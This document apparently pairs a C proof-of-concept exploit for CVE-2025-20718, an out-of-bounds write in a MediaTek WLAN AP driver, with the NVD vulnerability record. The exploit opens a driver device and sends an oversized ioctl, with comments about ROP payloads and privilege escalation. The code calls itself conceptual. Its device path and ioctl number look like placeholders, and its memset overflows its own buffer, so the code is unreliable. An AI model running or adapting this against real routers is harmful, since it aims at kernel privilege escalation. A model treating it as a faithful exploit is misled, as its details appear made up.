CVE-2025-20718

/* CVE-2025-20718 - MediaTek WLAN AP Driver Out-of-Bounds Write PoC * Vulnerability: OOB Write due to incorrect bounds check in WLAN AP driver * Affected: MediaTek WLAN AP Driver (Patch ID: WCNCR00419945) * Note: This is a conceptual PoC demonstrating the vulnerability pattern. * Actual exploitation requires specific kernel-level access and driver interaction. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <errno.h> #define WLAN_AP_DRIVER_DEV "/dev/wlan_ap" #define IOCTL_TRIGGER_OOB_WRITE 0x1001 #define MAX_BUFFER_SIZE 256 /* Structure to interact with WLAN AP driver */ struct wlan_ap_request { unsigned int cmd; unsigned int data_len; unsigned char data[]; }; /* * Trigger out-of-bounds write in WLAN AP driver * The driver fails to properly validate data_len against buffer bounds, * allowing writes beyond allocated memory region. */ int trigger_oob_write(int fd, unsigned int overflow_size) { struct wlan_ap_request *req; unsigned int alloc_size = sizeof(struct wlan_ap_request) + MAX_BUFFER_SIZE; /* Allocate buffer with fixed maximum size */ req = (struct wlan_ap_request *)malloc(alloc_size); if (!req) { perror("[-] malloc failed"); return -1; } /* Set command and data length - intentionally larger than MAX_BUFFER_SIZE */ req->cmd = IOCTL_TRIGGER_OOB_WRITE; req->data_len = MAX_BUFFER_SIZE + overflow_size; /* OOB write trigger */ /* Fill data with controlled payload (e.g., ROP chain or function pointers) */ memset(req->data, 0x41, req->data_len); printf("[*] Sending OOB write request with overflow size: %u\n", overflow_size); /* Trigger the vulnerable code path via ioctl */ if (ioctl(fd, req->cmd, req) < 0) { perror("[-] ioctl failed"); free(req); return -1; } free(req); return 0; } int main(int argc, char *argv[]) { int fd; unsigned int overflow = 64; /* Default overflow size */ printf("[*] CVE-2025-20718 PoC - MediaTek WLAN AP Driver OOB Write\n"); if (argc > 1) { overflow = atoi(argv[1]); } /* Open WLAN AP driver device */ fd = open(WLAN_AP_DRIVER_DEV, O_RDWR); if (fd < 0) { perror("[-] Failed to open WLAN AP driver device"); printf("[*] Note: Requires appropriate device permissions\n"); return 1; } printf("[+] Opened WLAN AP driver (fd=%d)\n", fd); /* Trigger the vulnerability */ if (trigger_oob_write(fd, overflow) == 0) { printf("[+] OOB write triggered successfully\n"); printf("[+] Check for privilege escalation or system instability\n"); } close(fd); return 0; }

{"cve": {"id": "CVE-2025-20718", "sourceIdentifier": "[email protected]", "published": "2025-10-14T10:15:36.503", "lastModified": "2025-10-15T18:45:45.840", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In wlan AP driver, there is a possible out of bounds write due to an incorrect bounds check. This could lead to local escalation of privilege with User execution privileges needed. User interaction is not needed for exploitation. Patch ID: WCNCR00419945; Issue ID: MSV-3581."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mediatek:software_development_kit:*:*:*:*:*:*:*:*", "versionEndIncluding": "7.6.7.2", "matchCriteriaId": "0DD86CC1-BD46-42D2-9112-190CCAC96B30"}, {"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:19.07.0:-:*:*:*:*:*:*", "matchCriteriaId": "4FA469E2-9E63-4C9A-8EBA-10C8C870063A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:21.02.0:-:*:*:*:*:*:*", "matchCriteriaId": "F0133207-2EED-4625-854F-8DB7770D5BF7"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:*", "matchCriteriaId": "171D1C08-F055-44C0-913C-AA2B73AF5B72"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7615:-:*:*:*:*:*:*:*", "matchCriteriaId": "05748BB1-0D48-4097-932E-E8E2E574FD8D"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7622:-:*:*:*:*:*:*:*", "matchCriteriaId": "55EB4B27-6264-45BE-9A22-BE8418BB0C06"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7663:-:*:*:*:*:*:*:*", "matchCriteriaId": "10C79211-F064-499D-914E-0BACD038FBF4"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7915:-:*:*:*:*:*:*:*", "matchCriteriaId": "3AB22996-9C22-4B6C-9E94-E4C055D16335"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7916:-:*:*:*:*:*:*:*", "matchCriteriaId": "DD5AA441-5381-4179-89EB-1642120F72B4"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7981:-:*:*:*:*:*:*:*", "matchCriteriaId": "490CD97B-021F-4350-AEE7-A2FA866D5889"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7986:-:*:*:*:*:*:*:*", "matchCriteriaId": "40A9E917-4B34-403F-B512-09EEBEA46811"}]}]}], "references": [{"url": "https://corp.mediatek.com/product-security-bulletin/October-2025", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}